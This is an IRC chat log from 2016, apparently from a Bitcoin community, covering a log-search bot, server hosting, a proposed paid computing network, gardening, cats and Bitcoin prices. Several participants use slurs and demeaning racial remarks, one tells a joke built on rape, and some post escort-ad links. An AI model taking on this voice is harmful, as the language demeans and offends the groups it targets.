http://btcbase.org/log-search?q=%22dog%22 1472845;1464376464;phf;$s dog 1472846;1464376465;a111;882 results for "dog", http://btcbase.org/log-search?q=dog 1472847;1464376478;mircea_popescu;aha! so only for freeform does it wordboundry ? 1472848;1464376480;mircea_popescu;splendid. 1472849;1464376492;*;hanbot is going to chinatown later, will look for trilema tchotchkes 1472850;1464376497;mircea_popescu;ahaha 1472851;1464376688;phf;(this ensures that ascii can continue mashing keys without reading the docs!!! and get reasonable results, but one can still extract precise information out of the machine) 1472852;1464376703;mircea_popescu;lol 1472853;1464376912;phf;in other news http://btcbase.org/log/2016-05-18#1467905 sold for $4,800 1472854;1464376912;a111;Logged on 2016-05-18 13:14 asciilifeform: phf et al: https://www.ebay.com/itm/222120395083 1472855;1464377019;mircea_popescu;ⓣⓐⓚⓔ ⓣⓗⓐⓣ ⓟⓗⓕ! ⓛⓔⓣ'ⓢ ⓢⓔⓔ ⓨⓞⓤ ⓖⓡⓔⓟ ⓣⓗⓘⓢ! 1472856;1464377089;ben_vulpes;jesus 1472857;1464377116;mircea_popescu;lord hath only one true son and his name is ⓤⓣⓕ 1472858;1464377116;shinohai;http://www.watchmybit.com/ <<< still can't figure out why it is worth sending a tx for dust just to watch a video. 1472859;1464377137;mircea_popescu;shinohai prolly trying to get the "clips4sale" market. 1472860;1464377143;mircea_popescu;except it's not really much of a market, but anyway 1472861;1464377185;phf;btcbase server still fails at taking unicode in queries, but i suspect that irc works (or it will possibly bring the log down..) 1472862;1464377191;phf;$s ⓣⓐⓚⓔ 1472863;1464377191;a111;2 results for "ⓣⓐⓚⓔ", http://btcbase.org/log-search?q=%24E3%24D0%24DA%24D4 1472864;1464377206;mircea_popescu;lol win 1472865;1464377207;phf;$s "ⓣⓐⓚⓔ" 1472866;1464377207;a111;4 results for "\"ⓣⓐⓚⓔ\"", http://btcbase.org/log-search?q=%22%24E3%24D0%24DA%24D4%22 1472867;1464377209;shinohai;Not a single camwhore in site. At least I can waste money with sluts on xotika.tv 1472868;1464377214;phf;$s "ⓣⓐⓚⓔ" 1472869;1464377214;a111;6 results for "\"ⓣⓐⓚⓔ\"", http://btcbase.org/log-search?q=%22%24E3%24D0%24DA%24D4%22 1472870;1464377243;mircea_popescu;$s ⓣⓐⓚ 1472871;1464377243;a111;1 results for "ⓣⓐⓚ", http://btcbase.org/log-search?q=%24E3%24D0%24DA 1472872;1464377264;mircea_popescu;1 results and when i follow teh link it's all "no results, bro" 1472873;1464377291;phf;yeah, i know the web side is borked, but i think 1 result is actually the search query itself, which is a bug 1472874;1464377303;ben_vulpes;shinohai: xotika is still a thing? 1472875;1464377307;phf;$s LpgE2Hmci3km 1472876;1464377307;a111;1 results for "LpgE2Hmci3km", http://btcbase.org/log-search?q=LpgE2Hmci3km 1472877;1464377307;phf; 1472878;1464377349;trinque;heh 1472879;1464377367;trinque;it's not wrong; it's just an asshole 1472880;1464377381;mircea_popescu;an asshole is never wrong 1472881;1464377432;shinohai;afaik ben_vulpes ... I kinda stopped going after same 3 girls all the time 1472882;1464377436;phf;for good measure it should say 2 results, counting the bot's answer 1472883;1464377700;trinque;http://oglaf.com/neversurrender/2/ << oblig 1472884;1464377854;mircea_popescu;we need to get a distributed computing for bitcoin thing going though. 1472885;1464377860;mircea_popescu;btw trinque you still working on deedbot payments ? 1472886;1464378129;mircea_popescu;the derpy "watch a video for bitcoin" thing is just what you'd expect out of usgistan. meanwhile, a irc-bot driven client that does ethernet and computation, and charges for these would be pretty sweet. 1472887;1464378130;trinque;yeah that's coming. 1472888;1464378140;trinque;vc: relatedly, how much for a box 1472889;1464378188;mircea_popescu;basically, imagine a future where everyone who wants to (or doesn't care/know enough to not want to) runs the tmsr-bot, which registers its prices with deedbot, and then i can go !bot and deedbot parcels it out to the bots it knows, and reports the rersults when done. 1472890;1464378193;mircea_popescu;insta-aws, for bitcoin, unstoppable. 1472891;1464378219;mircea_popescu;be it loic or folding at home or anything in between. 1472892;1464378251;vc;trinque: $10 for 1GB memory, 30GB storage, and 1TB bandwidth 1472893;1464378255;*;shinohai wipes away a tear 1472894;1464378257;mircea_popescu;the power to gut teh web. 1472895;1464378264;vc;if you're interested there's exactly one slot left 1472896;1464378268;trinque;vc: that's too small 1472897;1464378284;phf;i take it he ran out of box 1472898;1464378299;vc;it's SSD storage and only one physical server, hence the price 1472899;1464378302;vc;I am not linode ;) 1472900;1464378311;trinque;idgaf about the price 1472901;1464378315;mircea_popescu;i take it he got a single colo'd box imagining the market in terms of "shared server" derps ; and then ran into tmsr and everyone wants whole boxes and phuctor runs on a 256gb monster. 1472902;1464378317;vc;oic 1472903;1464378318;trinque;jack it up 5x and gimmeh bawks! 1472904;1464378320;trinque;lol 1472905;1464378331;mircea_popescu;vc get more boxes colo'd, for srs. what is this "one box" bs. 1472906;1464378350;vc;mircea_popescu: toss me another 1.7k eur and we'll talk ;) 1472907;1464378361;trinque;point being they'd sell 1472908;1464378369;trinque;especially colo'd in iceland 1472909;1464378371;vc;romania 1472910;1464378380;trinque;oh, thought you'd said iceland? 1472911;1464378386;trinque;I had been looking into that myself 1472912;1464378390;mircea_popescu;romania is not terribru in any sense. 1472913;1464378410;trinque;nbd 1472914;1464378410;vc;nah you might have seen the URL of an ars technica article that said iceland 1472915;1464378426;vc;and my parent host, flokinet, is based out of iceland 1472916;1464378444;mircea_popescu;but they have no iceland servers ?! 1472917;1464378456;vc;no they do, they are just very very expensive 1472918;1464378460;vc;the bandwidth, specifically 1472919;1464378471;mircea_popescu;a, there is that. 1472920;1464378507;mircea_popescu;iceland infrastructure is kinda meh. they peer with britain-the-shithole and that's that. 1472921;1464378984;trinque;https://www.datacell.is << "All our hosting packages include unrestricted bandwidth and 100 Gigabytes of data traffic. Dedicated bandwidth is also available on request." 1472922;1464378989;trinque;I'm gonna reach out to them for a quote 1472923;1464379011;mircea_popescu;uh. wtf "100 gb of data traffic" what's that even mean 1472924;1464379014;trinque;no idea 1472925;1464379021;trinque;seems to contradict itself 1472926;1464379034;trinque;100gb of unrestricted traffic restricted to 100gb 1472927;1464379071;mircea_popescu;i bet you what they mean is, they allow "any" burst, (ie, they got some slack in the routers, so you can concievably get 100mbps or such), but they literally meter the bg to .1 tb/month 1472928;1464379082;mircea_popescu;ie, if i ran trilema from there i'd need 10 packages. 1472929;1464379094;trinque;yeah 1472930;1464379103;mircea_popescu;well wtf is this, a cellphone or a server ? 1472931;1464379185;mircea_popescu;(ftr, most major device gamers burn more than 100gb/month in data ; a good game can well go over the gb just to install, and the churn is massive, i think the dedicated azn shrimp goes through 10k a month or some such shit) 1472932;1464381690;deedbot;[» Contravex: A blog by Pete Dushenski] Penny stock spam texts: an anthology. - http://www.contravex.com/2016/05/27/penny-stock-spam-texts-an-anthology/ 1472933;1464383840;mircea_popescu;and in other accomplished slut news, http://66.media.tumblr.com/2cec6f2b568dcb792aeb92e794d71194/tumblr_nvxvvcf67z1tlhlmmo1_400.gif 1472934;1464384490;shinohai;^ multitasker, win. 1472935;1464384522;mircea_popescu;lol 1472936;1464384535;mircea_popescu;btw vc you totally should look into eulora. beats eve out of the water. 1472937;1464384633;shinohai;I want to run a trb node on one of vc 's boxes if he gets moar power 1472938;1464385083;phf;there's actually "4 GB Memory 4 CPU cores 120GB SSD Space 4TB Bandwidth" option, he just ran out of allocation for the current box 1472939;1464385103;trinque;that would be more than adequate for me 1472940;1464385112;trinque;vc: ^ want 1472941;1464385517;vc;shinohai, trinque: noted, along with ben_vulpes's offer. I will let you guys know as soon as I decide to expand :) 1472942;1464385536;trinque;sweet! 1472943;1464386602;asciilifeform;http://btcbase.org/log/2016-05-27#1472855 << win. 1472944;1464386602;a111;Logged on 2016-05-27 19:23 mircea_popescu: ⓣⓐⓚⓔ ⓣⓗⓐⓣ ⓟⓗⓕ! ⓛⓔⓣ'ⓢ ⓢⓔⓔ ⓨⓞⓤ ⓖⓡⓔⓟ ⓣⓗⓘⓢ! 1472945;1464386615;*;asciilifeform takes off hat 1472946;1464388655;shinohai;http://www.cps.gov.uk/news/latest_news/ryan_kennedy_convicted_of_three_counts_of_rape_against_three_women/ 1472947;1464388903;mircea_popescu;asciilifeform the letters in a circle were very important to have as glyphs because some people can't think otherwise. 1472948;1464390060;asciilifeform;mircea_popescu: wut 1472949;1464390071;asciilifeform;also in chicago modem worx on train 1472950;1464390082;asciilifeform;holyshit 1472951;1464390112;asciilifeform;in tunnel, i mean 1472952;1464390850;BingoBoingo;;;ticker --market all 1472953;1464390866;gribble;Bitstamp BTCUSD last: 470.26, vol: 12079.16275283 | BTC-E BTCUSD last: 467.8, vol: 12941.60984 | CampBX BTCUSD last: 451.0, vol: 4.26073272 | BTCChina BTCUSD last: 496.321332, vol: 74752.45100000 | Kraken BTCUSD last: 470.9, vol: 1744.79227392 | Bitcoin-Central BTCUSD last: 471.5728, vol: 209.9632246 | Volume-weighted last average: 489.10970125 1472954;1464390924;BingoBoingo;;;more 1472955;1464390925;gribble;Error: You haven't asked me a command; perhaps you want to see someone else's more. To do so, call this command with that person's nick. 1472956;1464391813;mircea_popescu;and in other news, http://67.media.tumblr.com/39b2d41c6089caf17ac1159f7ef6d467/tumblr_o5idlqT9ub1svf4xjo1_1280.jpg 1472957;1464393389;mod6;got all the tomatoes, basil, pumpkins, eggplants, squash, and r. lettuce planted in the pouring rain. tomorrow: strawberries, watermelon, broccoli, early/late cabbage, short/long cukes, brussel sprouts, and dill 1472958;1464393406;*;mod6 gardener 1472959;1464393409;mod6;lol 1472960;1464393409;BingoBoingo;lulz https://archive.is/fjIhi 1472961;1464393434;shinohai;Just thing of how that will taste on the grille with some phesant mod6 :D 1472962;1464393434;BingoBoingo;mod6: You don't do seeds? You let big greenhouse start your plants? :( 1472963;1464393481;mod6;yeah! man, phesant is excellent. 1472964;1464393519;mod6;BingoBoingo: yeah. for now, just learning. was actually thinking, while getting drenched, if I can find a place to start from seeds & get appropriate sun, would do it. 1472965;1464393526;mod6;a little short on space for that. :/ 1472966;1464393533;mod6;but ~maybe~ next year. 1472967;1464393542;BingoBoingo;What about where you put the plants from big greenhouse? 1472968;1464393552;BingoBoingo;Seeds start just fine in the dirt. 1472969;1464393577;mod6;well, its pretty much ungrowable until like first week of may here. 1472970;1464393586;shinohai;germinare well in fridge as well! >.> 1472971;1464393591;shinohai;*germinate 1472972;1464393604;mod6;i dunno, i guess i could. my understanding was that most of these greenhouses start the seeds in like march time-frame. but maybe i'm way off there. 1472973;1464393615;mod6;i've seen it snow here on June 1st before. 1472974;1464393625;mod6;in your fridge?! 1472975;1464393638;mod6;huh. i'll have to do that next year and see how it goes. 1472976;1464393658;mod6;i think the real trick is to collect the seeds from the plants. 1472977;1464393673;shinohai;Yeah soak those fuckers then trick seeds into thinking spring 1472978;1464393681;mod6;not sure exactly how to do that on some of them. like tomatoes and cukes are obvious, but what about the cabbabe and dill, etc? 1472979;1464393701;mod6;shinohai: aight, cool. will give that a shot next year. 1472980;1464393713;BingoBoingo;Just get some jiffy pots and put the seeds in the window sill them? 1472981;1464393739;mod6;that's the one problem. not a lot of window-sill real-estate for that shit. plus: cats. 1472982;1464393744;mod6;they fuck up all plants. 1472983;1464393921;mod6;anyway, thanks for the advice. will test that next year for sure. 1472984;1464394151;BingoBoingo;Send them to vacation with alf in chicago for a few months until the frost threat leaves? 1472985;1464394179;mod6;he's going to chiraq? 1472986;1464395726;shinohai;asciilifeform if you get bored call: http://chicago.backpage.com/FemaleEscorts/call-773-527-7631-beautiful-and-busty-chinese-girl-suki-new-in-town/27691475 1472987;1464395787;asciilifeform;lel i'm going home presently 1472988;1464395931;shinohai;It's ok asciilifeform it appears she is in my home town too! How quaint. 1472989;1464395945;asciilifeform;spamolade 1472990;1464395959;asciilifeform;was obvious instantly from photo 1472991;1464395977;asciilifeform;unless yer blind 1472992;1464396094;shinohai;I'm drunk so imma call her pimp and ask if they want a railroad job. 1472993;1464396404;asciilifeform;shinohai: collect nigerian million first 1472994;1464396410;asciilifeform;it will help. 1472995;1464396456;shinohai;This is Nigeria. If I don't get new 1 Trillion bill I'm going home. 1472996;1464396494;shinohai;*100 trillion 1472997;1464397989;mircea_popescu;mod6 rain planting works for the plants :D 1472998;1464398303;mod6;yeah, they certainly got a new home. 1472999;1464398443;mod6;i was up to my gd eyeballs in mud lol 1473000;1464398525;mod6;i told the girls that we'll try by seed germ. next yaer, but they agreed that'd be a pita. 1473001;1464398529;mod6;a good test either way tho 1473002;1464398560;shinohai;Here no rain but still 28°C - sweating balls 1473003;1464398624;*;asciilifeform not looking forward to reswamping 1473004;1464398767;mod6;its like 16C here 1473005;1464398776;mod6;er, 18 1473006;1464398873;mircea_popescu;mod6 you could try making a hard transparent plastic foil lean-to 1473007;1464398899;mircea_popescu;basically put a wooden frame like an old screen door or w/e upright, and the plastic from it. 1473008;1464398971;mod6;ah, like a little greenhouse ? 1473009;1464398997;mod6;that'd be rather awesome if that's what you mean, and it might come to that tbh. 1473010;1464399018;mircea_popescu;yeah, it should be enough to get the seedlings up 1473011;1464399025;mircea_popescu;just make sure you orient it for sun/wind 1473012;1464399036;mod6;*nod* would take care of the cat problem too. 1473013;1464399344;shinohai;.22 LR also takes care of cat problems. 1473014;1464399358;asciilifeform;shinohai: savage 1473015;1464399385;mod6;haha, so will bathtub with water. 1473016;1464399393;mod6;but, eitherway, i happen to like these fuckers. 1473017;1464399415;asciilifeform;cat is a useful and ornamental animal 1473018;1464399427;asciilifeform;i cultivate them wherever i live 1473019;1464399429;mod6;they are amazing hunters. 1473020;1464399430;shinohai;Yeah I have a cat I adore, jut those feral ones that tear up stuff 1473021;1464399452;asciilifeform;i cultivate those specifically. 1473022;1464399455;shinohai;One cannot simply make pets of them 1473023;1464399480;shinohai;Or perhaps asciilifeform has method previously unknown to hoomans 1473024;1464399499;mod6;one cat that used to be an "outdoor" cat in my radius would bring me mice like everyday. i felt bad because i couldn't bring him one. :/ 1473025;1464399510;asciilifeform;my method is to not demand anything of wild critters 1473026;1464399523;asciilifeform;let'em be, enjoy watching 1473027;1464399580;shinohai;Enjoy watching what, my garbage strewn all over driveway? 1473028;1464399616;asciilifeform;shinohai: if you feed'em something nice, they won't look for garbage. 1473029;1464399666;shinohai;Here kitty, kitty. Come eat this nice steak that asciilifeform paid for. 1473030;1464399674;shinohai;You no longer must eat garbage! 1473031;1464399682;asciilifeform;lel 1473032;1464399694;asciilifeform;a dose of kibble is a few cents 1473033;1464399748;shinohai;I tried putting the housecat kibble out, still they persist. 1473034;1464399772;asciilifeform;what's in your garbage anyway 1473035;1464399781;asciilifeform;raw fish? 1473036;1464399825;shinohai;Perhaps tuna cans at best. 1473037;1464399852;asciilifeform;so feed'em the scraps. 1473038;1464399911;shinohai;I'd be more than happy to feed the lot of them, tuna, kibble, whatever. 1473039;1464400050;mircea_popescu;asciilifeform you'd be fuckinbg happy in istanbul. 1473040;1464400059;mircea_popescu;i think 1mn people of the same mind live there. i've never seen as many cats. 1473041;1464400069;mircea_popescu;prolly 1bn cats live within a 200 mile radius 1473042;1464400086;asciilifeform;meow!11 1473043;1464400103;mod6;meow is right 1473044;1464400104;mircea_popescu;on the upside, pigeons aren't much of a problem 1473045;1464400108;mod6;lol 1473046;1464400138;asciilifeform;can't picture a rat lasting long there 1473047;1464400150;mircea_popescu;yeah, they do, because they gang together in wet spots 1473048;1464400154;mircea_popescu;cat's aren't that persistent. 1473049;1464400174;asciilifeform;hm interesting 1473050;1464400181;shinohai;Anywho, please don't think I'm evil because I suggest a varmit gun. I do love my cat because no other good reading companion. 1473051;1464400187;phf;they literally build cat houses in public parks with elaborate architecture, i've seen four or five of those 1473052;1464400192;mircea_popescu;we think you're evil just for sport. 1473053;1464400208;mircea_popescu;phf ah, right, you been there. tell 'em about the catmania! 1473054;1464400224;phf;but on the flip side every side street smells like a russian apartment complex back stairs 1473055;1464400233;mircea_popescu;myeah. 1473056;1464400259;phf;they address their cats "citizen cat" in turkish 1473057;1464400262;asciilifeform;lol phf had same back stairs i did apparently! 1473058;1464400273;mircea_popescu;or they sold same vodka 1473059;1464400282;asciilifeform;ahahahah 1473060;1464400286;shinohai;lolz 1473061;1464400294;mircea_popescu;you know the joke with the assburning btw ? 1473062;1464400409;*;phf wants to hear the joke with assburning 1473063;1464400445;mircea_popescu;in this alternate universe, the comrade general secretary of the central committee of the romanian communist party, comrade nicolae ceausescu isn't shot 1473064;1464400455;mircea_popescu;but instead just sorta... sent out to bum the rest of his days 1473065;1464400468;mircea_popescu;and he's kinda depressed, and haunts this lowest of the lowest dive, 1473066;1464400498;mircea_popescu;where this one eyed lame bartender asks him religiously what he wants to drink ? vodka ? samogon ? gasoline ? solvent ? 1473067;1464400510;mircea_popescu;and he picks vodka, gets plastered, goes out and falls in a ditch where he falls asleep 1473068;1464400528;mircea_popescu;a local faggot, seeing the man sleeping in a ditch, pulls down his pants, fucks him in the ass, 1473069;1464400542;mircea_popescu;then when done stuffs a 30 cent bill in his pocket and departs. 1473070;1464400556;mircea_popescu;ceausescu wakes up eventually, rifles own pockets, disocvers money, drags self back to bar 1473071;1464400563;mircea_popescu;vodka ? samogon ? gasoline ? solvent ? 1473072;1464400574;mircea_popescu;drinks another vodka, gets plastered, goes to same ditch falls alseep. 1473073;1464400578;mircea_popescu;faggot fucks him again. 1473074;1464400590;mircea_popescu;ceausescu wakes up again, rifles own pockets again, disocvers money again, drags self back to bar. 1473075;1464400596;mircea_popescu;vodka ? samogon ? gasoline ? solvent ? 1473076;1464400612;mircea_popescu;gimme some of that brandy, this damned vodka's making my asshole burn. 1473077;1464400629;asciilifeform;l0l11 1473078;1464400631;shinohai;>.< 1473079;1464400698;phf;heh 1473080;1464400702;mircea_popescu;(samogon, for the innocent, is a "anything you got" sort of brandy that long predates vodka) 1473081;1464400766;asciilifeform;mircea_popescu: moonshine in engl 1473082;1464400806;mircea_popescu;i guess. not really the same item at all. 1473083;1464400846;mircea_popescu;http://russiapedia.rt.com/files/of-russian-origin/samogon/samogon_4-t.JPG << this. 1473084;1464400859;asciilifeform;moonshine. 1473085;1464400869;asciilifeform;they have a word for it. 1473086;1464400879;asciilifeform;like prolly everyone. 1473087;1464400892;mircea_popescu;asciilifeform moonshine is this tenessee cvasi-whiskey. 1473088;1464400892;asciilifeform;brb airplane 1473089;1464400910;mircea_popescu;(ie, corn or generally cereal mash distillate) 1473090;1464401266;mircea_popescu;heh they give him plane money ? i'd have expected he has to walk. 1473091;1464403465;mod6;lol, see ya in 3 months. 1473092;1464403818;mod6;aight, there's another few things this lead to 1473093;1464403836;mod6;i'll have to try again tomorrow. but the site updates are correct anyway. 1473094;1464403841;mod6;this is just little shit like the help menu. 1473095;1464411107;BingoBoingo;mircea_popescu: Nah, he'd enjoy the walk until he hit Ohio which would likely make him miss swamp 1473096;1464411284;BingoBoingo;Judging by the parts of Chicago alf enjoyed I believe his favorite place in Illinois would be either pinckneyville, Roodhouse, or Benton for their "frozen in time" natures. 1473097;1464411304;BingoBoingo;Prolly Roodhouse though. 1473098;1464411375;BingoBoingo;Alf may have to settle for Macomb though for University Library 1473099;1464411751;BingoBoingo;$up felipelalli 1473100;1464411751;deedbot;felipelalli voiced for 30 minutes. 1473101;1464411806;BingoBoingo;alf can at least console himself in having only been to Chicago. Now if alf had been to Missouri... 1473102;1464411979;felipelalli;FYI: a acquainted owner of https://originalmy.com made it compatible with deedbot. So if you drag&drop a txt file sent to deedbot to his site, the site says the file is registered on Blockchain. 1473103;1464412009;asciilifeform;http://btcbase.org/log/2016-05-28#1473090 << and golden toilet hotel even. 1473104;1464412009;a111;Logged on 2016-05-28 02:07 mircea_popescu: heh they give him plane money ? i'd have expected he has to walk. 1473105;1464412090;asciilifeform;http://btcbase.org/log/2016-05-28#1473096 << all these zimbabwestans i never even heard of... 1473106;1464412090;a111;Logged on 2016-05-28 04:54 BingoBoingo: Judging by the parts of Chicago alf enjoyed I believe his favorite place in Illinois would be either pinckneyville, Roodhouse, or Benton for their "frozen in time" natures. 1473107;1464412134;asciilifeform;http://btcbase.org/log/2016-05-28#1473095 << what's there? 1473108;1464412134;a111;Logged on 2016-05-28 04:51 BingoBoingo: mircea_popescu: Nah, he'd enjoy the walk until he hit Ohio which would likely make him miss swamp 1473109;1464412166;BingoBoingo;Ohio is a shitpit. Now Roodhouse is a happening place with many, many train tracks. 1473110;1464412196;asciilifeform;happening how ?? 1473111;1464412214;BingoBoingo;Trains are happening there! 1473112;1464412225;BingoBoingo;It's a railroad town. 1473113;1464412233;BingoBoingo;Mega railroad there 1473114;1464412245;asciilifeform;we have trains here.. 1473115;1464412254;BingoBoingo;Not like roodhouse does. 1473116;1464412295;asciilifeform;and i need this for..? 1473117;1464412321;BingoBoingo;Gossipd over freight car graffiti 1473118;1464412338;asciilifeform;hobo chalk! 1473119;1464412346;BingoBoingo;seriously 1473120;1464412350;asciilifeform;sorta existed already 1473121;1464412429;BingoBoingo;Fine, apparently the pale zimbabwestans aren't for you. Maybe Cairo, Illinois is you town. 1473122;1464412450;asciilifeform;what's in there? 1473123;1464412473;BingoBoingo;Has historic buildings. Black people abandoned by Whitey. 1473124;1464412485;BingoBoingo;Also riverboats for Gossipd on the water. 1473125;1464412523;asciilifeform;jazz black or crack black ? 1473126;1464412568;asciilifeform;lol going by ftmeade 1473127;1464412581;BingoBoingo;BOTH! 1473128;1464412624;BingoBoingo;asciilifeform: It's like James Lafond presents baltimore in minitature with all the James Lafonds on strike. 1473129;1464412636;BingoBoingo;Fun times. 1473130;1464412638;asciilifeform;smoke crack from saxophone?? 1473131;1464412657;BingoBoingo;Nah, they are more segregated than that. 1473132;1464412756;BingoBoingo;Makes East St Louis look like 1600's England. BUT one of the better functioning cities in the state. Even has massive floodwalls 1473133;1464412769;BingoBoingo;Because two Rivers want to erase it. 1473134;1464412849;asciilifeform;i met a gurl who used to live there. disrecommends it even to visit. 1473135;1464412875;asciilifeform;st louis i mean 1473136;1464412933;BingoBoingo;You just have to stay south of Delmar and you'll be fine. 1473137;1464412958;BingoBoingo;Mega Zoo 1473138;1464412987;BingoBoingo;As in Cats and bears zoo, not James Lafond zoo though there is that too. 1473139;1464413002;asciilifeform;neato 1473140;1464413037;BingoBoingo;Cats and bears zoo in stl is free, which is much cheaper than Lafond zoo in stl 1473141;1464413065;asciilifeform;dc zoo also phree 1473142;1464413127;BingoBoingo;DC Zoo has less real bears. Panda cows don't count. 1473143;1464413150;asciilifeform;iirc last one croaked here 1473144;1464413248;BingoBoingo;St Louis also has a miniature Yugoslavia in South City, Mega recommend. 1473145;1464413457;asciilifeform;it is funny, theoretically i could live in these places now. 1473146;1464413516;BingoBoingo;And yet swamp and USG 1473147;1464413563;asciilifeform;hey last i heard usg flag was flying in these lands also. 1473148;1464413644;BingoBoingo;AHA, but in Stl you are a short drive from places Legit USG battle flag flies in the Ozarks. Where War of Northern Aggression is still active. 1473149;1464413816;asciilifeform;lolwut 1473150;1464413819;BingoBoingo;Also very large feral cats are seen occasionally 1473151;1464413853;BingoBoingo;asciilifeform: Not everywhere surrendered in 1865. 1473152;1464413890;asciilifeform;lolk 1473153;1464413977;BingoBoingo;Says the person who was surprised by girls in Chicago having faces. 1473154;1464414325;*;asciilifeform home. 1473155;1464414705;mircea_popescu;felipelalli nb. 1473156;1464434832;vc;mircea_popescu: a guy named kakobrekla queried me telling me this is a scammer channel 1473157;1464434841;vc;and gave me some story about a company called bitbet 1473158;1464435955;vc;mircea_popescu: logs are here, I'm interested in your take: https://spit.mixtape.moe/view/b6b45e94#Gd9Ijg33PbVYNDQc9HWvJmCqOWymoXPW 1473159;1464439902;shinohai;http://btcbase.org/log/2016-05-28#1473158 <<< lulzy vc. I'm sure someone will give you the tl;dr on Bitbet one day if you don't find it in logs first. 1473160;1464439902;a111;Logged on 2016-05-28 11:45 vc: mircea_popescu: logs are here, I'm interested in your take: https://spit.mixtape.moe/view/b6b45e94#Gd9Ijg33PbVYNDQc9HWvJmCqOWymoXPW 1473161;1464440044;shinohai;Reads like concern trolling xD 1473162;1464441424;mircea_popescu;vc not particularly interested. but, some dude contacted me giving me http://somethingsensitive.com/index.php?topic=7688.15 1473163;1464441438;mircea_popescu;the moral being that on teh internet you gotta figure out what to believe yourself. 1473164;1464441551;mircea_popescu;shinohai check out the wonders of fiatism and "modern science" though. the derp never fucking pm'd anyone, ANYONE, about bitbet back when say, i was doing the warren buffett thing. NOW he finds the time and the interest. not before. 1473165;1464441571;mircea_popescu;90% of everything he said past 12 months he said past 2, but this isn't something to inwardly consider. 1473166;1464441748;vc;mircea_popescu: I'll read into it later, I'm streaming for now 1473167;1464441839;shinohai;I simply make popcorn for the drama parts of logs and move on. Time is too precious a resource to waste dwelling on same butthurt over and over. 1473168;1464442228;mircea_popescu;the drawback of hanging out with people is that motherfucker i caught some sort of doom bug, i'm like coughing and shit wtf. 1473169;1464443243;shinohai;Perhaps some samogon and honey would sooth the cough. 1473170;1464445638;asciilifeform;mircea_popescu: pertinently, 1473171;1464445645;asciilifeform;$s а наш притончик гонит самогончик 1473172;1464445646;a111;1 results for "а наш притончик гонит самогончик", http://btcbase.org/log-search?q=%430%20%43D%430%448%20%43F%440%438%442%43E%43D%447%438%43A%20%433%43E%43D%438%442%20%441%430%43C%43E%433%43E%43D%447%438%43A 1473173;1464445666;asciilifeform;hm 1473174;1464445676;asciilifeform;$google а наш притончик гонит самогончик 1473175;1464445686;*;deedbot hands you a broomstick. 1473176;1464445755;asciilifeform;motherfuck 1473177;1464445911;phf;that is why we can not have nice things 1473178;1464446342;shinohai;My bot returned: https://www.youtube.com/watch%3Fv%3DWlm1C0sgXTM when searching "а наш притончик гонит самогончик" 1473179;1464448284;phf;$s а наш притончик гонит самогончик 1473180;1464448284;a111;5 results for "а наш притончик гонит самогончик", http://btcbase.org/log-search?q=%D0%B0%20%D0%BD%D0%B0%D1%88%20%D0%BF%D1%80%D0%B8%D1%82%D0%BE%D0%BD%D1%87%D0%B8%D0%BA%20%D0%B3%D0%BE%D0%BD%D0%B8%D1%82%20%D1%81%D0%B0%D0%BC%D0%BE%D0%B3%D0%BE%D0%BD%D1%87%D0%B8%D0%BA 1473181;1464449998;mircea_popescu; that is why we can not have nice things << what, russian ? 1473182;1464450017;mircea_popescu;check it out, bahamas was right all along! 1473183;1464452268;shinohai;;;later tell BingoBoingo http://ix.io/Mb4 1473184;1464452268;gribble;The operation succeeded. 1473185;1464453928;BingoBoingo;shinohai: broken link 1473186;1464453952;BingoBoingo;simply returns 500 error 1473187;1464454260;shinohai;Try now, working for me. If not I'll dpaste it 1473188;1464454267;shinohai;http://dailycaller.com/2016/05/27/cuckold-your-husband-the-raw-marriage-deal-for-men/ 1473189;1464454584;BingoBoingo;http://www.jameslafond.com/article.php?id=4483 1473190;1464454595;BingoBoingo;ty shinohai 1473191;1464455520;phf;pre-split btcbase log's purpose was analytical, where's now i spend my time on ux and ops issues. juxtaposition of kakobrekla doing low key malicious shit and asciilifeform trying to search cyrillic prompted that line 1473192;1464455903;phf;girl is reading The Temple of the Golden Pavilion, which i think is apropos the situation. 1473193;1464455927;ben_vulpes;https://www.instagram.com/p/BF9VlB2oVeh/?taken-by=natgeo << millenials, we are very poor and work shitty jobs, but we don't care so long as we can hula hoop by a lake and smoke pot 1473194;1464456172;deedbot;[Qntra] Dentist Drilled Over Discovering Public FTP Server - http://qntra.net/2016/05/dentist-drilled-over-discovering-public-ftp-server/ 1473195;1464465085;deedbot;[Qntra] Finnish Prime Minister Breaks Promise To Personally House Refugees - http://qntra.net/2016/05/finnish-prime-minister-breaks-promise-to-personally-house-refugees/ 1473196;1464475651;asciilifeform;trinque: phuctor feed works in ba but not here..... 1473197;1464475660;asciilifeform;e.g. just now, 1473198;1464475663;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/A5CF9F50DDA50E86A049276CCC0AE37415FB5B761B5E586D2C0C6D079AFB9BCD 1473199;1464476618;*;shinohai cannot reach nosuchlabs.com 1473200;1464476631;shinohai;nm finally loaded 1473201;1464483513;BingoBoingo;;;ticker --market all 1473202;1464483520;gribble;Bitstamp BTCUSD last: 515.98, vol: 12731.63597753 | BTC-E BTCUSD last: 504.248, vol: 15287.34937 | Bitfinex BTCUSD last: 525.01, vol: 78077.20951914 | CampBX BTCUSD last: 455.0, vol: 8.61002736 | BTCChina BTCUSD last: 582.162181, vol: 98456.32250000 | Kraken BTCUSD last: 523.412, vol: 5386.22732809 | Bitcoin-Central BTCUSD last: 489.06, vol: 175.11466033 | Volume-weighted last average: (1 more message) 1473203;1464483525;BingoBoingo;;;more 1473204;1464483525;gribble;549.658128339 1473205;1464483536;shinohai; wheeeeeeeeeeeeeeeeee 1473206;1464484163;deedbot;[Qntra] US dollar Falls Against Bitcoin In Move By Chinese Trading - http://qntra.net/2016/05/us-dollar-falls-against-bitcoin-in-move-by-chinese-trading/ 1473207;1464484164;oglafbot;http://media.oglaf.com/archive/arc-offering.png 1473208;1464484211;BingoBoingo;nm. Flase alarm on new Oglaf. rss reader was borked 1473209;1464484272;shinohai;You had me thinking it was Sunday night. 1473210;1464484323;BingoBoingo;I thought it was too. 1473211;1464484499;BingoBoingo;For aspiring qntra writers note that dollar is never "Dollar" and that price news is never strictly Bitcoin news as evidenced by the Bitcoin category being omitted from the latest piece about exchange noise. That is all. 1473212;1464489280;deedbot;[Qntra] KnC Miner Goes Into Bankruptcy - http://qntra.net/2016/05/knc-miner-goes-into-bankruptcy/ 1473213;1464491493;mod6;http://therealbitcoin.org/ml/btc-dev/2016-May/000223.html 1473214;1464492156;BingoBoingo;ty mod6 1473215;1464492654;deedbot;[Qntra] T – A Ticket Management System For The Most Serene Republic - http://qntra.net/2016/05/t-a-ticket-management-system-for-the-most-serene-republic/ 1473216;1464493799;deedbot;[Qntra] Asia Losing 